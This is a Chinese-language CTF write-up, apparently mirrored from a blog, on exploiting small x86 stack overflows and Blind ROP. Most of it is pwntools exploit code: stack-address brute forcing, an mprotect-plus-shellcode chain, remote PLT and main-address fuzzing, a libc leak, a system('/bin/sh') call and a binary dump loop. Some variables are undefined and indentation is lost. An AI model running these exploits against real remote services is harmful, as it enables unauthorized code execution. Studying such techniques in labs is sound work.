1

x86下栈溢出太小和BROP

 1 year ago
source link: https://delcoding.github.io/2019/01/small_stack_and_brop/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
3 年前 12 分钟 读完 (大约 1831 个字)

x86下栈溢出太小和BROP

  这篇文章主要记录在x86下解决栈溢出空间太小和BROP

DEMO1

  栈溢出可控buff太小的情况可能如下:

  可以看到read(0, &addr, 36u),可控大小才36个字节,只能控一次ROP,而在题目环境中没有libc,所以又要使用mprotect去开启权限,那一次的ROP根本满足不了我们的需求。
# 36 字节理论上只能做这样的 ROP
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)


#### 解决方案
  这里使用的解决方案是爆破栈地址,得到栈地址(可写地址)后将我们的payload写入到栈中,然后想办法调用mprotect,并将EIP控到shellcode中来。

因为是x86,所以我们爆的栈地址并不会太多,只需要\x00{0}{1}\xff两个字节。运用write喷出一些东西,然后看看自己放置的flag是否在接收到的数据中,如果存在,那么栈地址就得到了。


#### EXP
# -*- coding:utf-8 -*-
from pwn import *
from colored import fg, bg, attr
from cuteprint.cuteprint import PrettyPrinter
context(log_level='debug', arch='i386', os='linux')

pr = PrettyPrinter()

p = process('./demo1')
start_addr = 0x080480B8
write_addr = 0x080480F9
writable_addr = 0


def fuzz(io, temp):
io.recvuntil('something')
offset = -1
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)
io.send(payload)
io.recvline()
try:
data = io.recv(0x1000)
# 判断我们的 flag 是否在数据中,如果在,那么说明我们找到了栈地址
if 'a'*10 in data:
log.debug(temp)
offset = data.find('a'*10)
return offset
else:
return -1
except Exception as e:
return -1


def goto():
fuzz_addr = "\x00{0}{1}\xff"
got = False
for a in range(0xbe, 256):
if not got:
for b in range(0, 256, 16):
temp = fuzz_addr.format(chr(b), chr(a))
j = fuzz(p, temp)
if j > 0:
got = True
global writable_addr
writable_addr += u32(temp) + j
pr.print_good("recv offset is: " + str(j))
pr.print_good("writable_addr is: " + hex(writable_addr))
break
else:
break
goto()

padding = 'a' * 16
pr.print_good("Step1: call read...")
print("%sStep1: call read...\n%s" % (fg(200), attr('blink')))
print("%sStep1: call read...\n%s" % (fg(200), attr('underlined')))
pause()
# 喷出 0x7d 设置 eax,调 mprotect
payload = padding + p32(read_msg) + p32(start_addr) + p32(0) + p32(writable_addr) + p32(0x7d)
p.send(payload)

pr.print_good("Step2: ROP and send shellcode...")
pause()
shellcode_addr = writable_addr + 28 # len(payload2) 下一行的,不包括第二行开始的
# 这里需要注意拼接
payload2 = 'B' * 8 + p32(set_ebcdx) + p32(shellcode_addr) + p32(writable_addr & 0xfffff000) + p32(0x1000) + p32(7) # 这一行的长度
payload2 += shellcode
p.send(payload2.ljust(0x7d, '\x00'))


### DEMO2
  demo2是一道BROP,在盲pwn的情况下,我们只能靠不断的fuzzing来取得有价值的信息。这道题中没有开启ASLR,所以程序段的开始地址还是0x08048000,各程序段大致如下:

  可见plt.plt.got表都在.text代码段的前面,所以在后面我们爆破main地址的时候就能猜出一些函数的plt地址,如read,它会hong住进程。

  在x86下,fuzzing的地址并不会太大,解决BROP可以按照如下:

  • 找到putsgets等输入输出函数的plt
  • 找到main函数地址
  • 打印出两个libc函数地址用来找到libc
  • 调用system/bin/sh获取shell

  在x86的环境下,我们大可不必考虑什么stop gadget,这个跟x64还是有点差异,比较简单,无脑fuzz。。。

  dump程序如果是puts的话还是不太好做。在dump是要注意:

puts是遇到'\x00'结束输出的
gets是遇到'\x0a'结束输入的

  在找puts的plt时,如果某个地址能喷出一些东西,并且这个地址+6的地址也能喷出东西,那么这个地址就是putsplt。其他函数也可以用这个方法判断,依据可以参考ret2dl_resolve的文章。

  所以fuzz puts的函数可以写成如下:

def fuzz_print_plt():
for j in range(1, 0x10000): # last time fuzz at: 0x08049871
fuzz = 0x80484f6 + j
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
# 判断 该地址+6 的地方是否可以输出
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz + 6) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
print("%s ==========DUMP START======== %s" % (fg(200), attr('dim')))
hexdump.hexdump(data)
print("%s ==========DUMP END======== %s" % (fg(200), attr('dim')))

p.info("Had Found it...")
pr.print_good("Found offset: " + str(j) + ", main addr: " + hex(fuzz))

except EOFError as e:
print e
pass
except EOFError as e:
print e
pass
p.close()

  fuzz main函数也能简单,只要看覆盖的返回地址能否打印出程序开始的一些字符,如此判断程序又从头开始执行了:

def fuzz_main_addr():
for i in range(0x1000):
p = remote('ip', 10000)
p.recvuntil('program start...')
p.recvuntil('\nsomething\n')
p.sendline('a' * offset + p32(0x08048000 + i))
try:
p.recvuntil('program start...')
pr.print_good("Found offset: " + str(i) +
", main addr: " + hex(0x08048000 + i))
p.interactive()
except Exception as e:
print e
pass
p.close()

  但这里需要注意,能从头开始的地址不止一个,但有些会毁坏栈,导致无法再重新开始(EOF了),所以我们需要在后面精准找出符合的地址(不会EOF)。如:

def fuzz_good_main_addr():
for i in range(0x080484c0, 0x080484ff):
p = remote('ip', 10000)
p.recvuntil('program start..."')
p.recvuntil('\nsomething.\n')
# 能重新开始的地址有一定范围,我们要找到能在 ROP 中依然有效的 main 函数地址
payload = 'a' * offset + p32(puts_plt) + p32(i) + p32(0x0804a010) # puts_got.plt: 0x0804a010 gets_got.plt: 0x0804a014
# gets ---> @2b0 puts ---> @b40
p.sendline(payload)
try:
data = p.recv(0x1000)
libc_base_addr = u32(data[4:8]) - libc.symbols["gets"]
log.debug("libc_base_addr: " + libc_base_addr)
p.recvuntil('program start..."')
pr.print_good("good addr: " + hex(i))
p.interactive()
except Exception as e:
print e
pass
p.close()

  在上面的例子中我们喷出了gets plt.got的地址,利用这个地址我们可以计算出libc的基址。那么接下去就是常规操作了:

offset_system = libc.symbols["system"]
system_addr = libc_base_addr + offset_system
log.debug("[*] system_addr: " + hex(system_addr))
offset_binsh = next(libc.search('/bin/sh'))
binsh_addr = libc_base_addr + offset_binsh
log.debug("[*] binsh_addr: " + hex(binsh_addr))

p.recvuntil('something')
good_main_addr = 0x080484d0
pause()
payload = 'A' * offset + p32(system_addr) + p32(good_main_addr) + p32(binsh_addr)
p.sendline(payload)

  当然我们也可以尝试dump程序,但我试了几次都不能dump能看的binary,运用的代码如下:

def dump_all():
index = 0
flag = 0
while(flag < 0x1770):
dumping = base_addr + index
# gets 是按 0x0a 结束的,所以到这里的时候我们直接把那个值置为 \x00
if (dumping & 0xff) == 0x0a:
index += 1
with open('test', 'ab') as f:
f.write('\x00')
continue
p = remote('ip', 10000)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(puts_plt) + p32(main_addr) + p32(dumping)
p.sendline(payload)
try:
data = p.recv(0x10000)
inx = data.find('Well done!')
if inx != 0:
with open('test', 'ab') as f:
f.write(data[:inx])
index += inx
else:
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
except Exception as e:
print e
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
p.close()

  这里注意下puts是遇到\x00停止的,所以在那个地址上我们应该手动把它置为\x00,然后在index += 1

# BROP

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK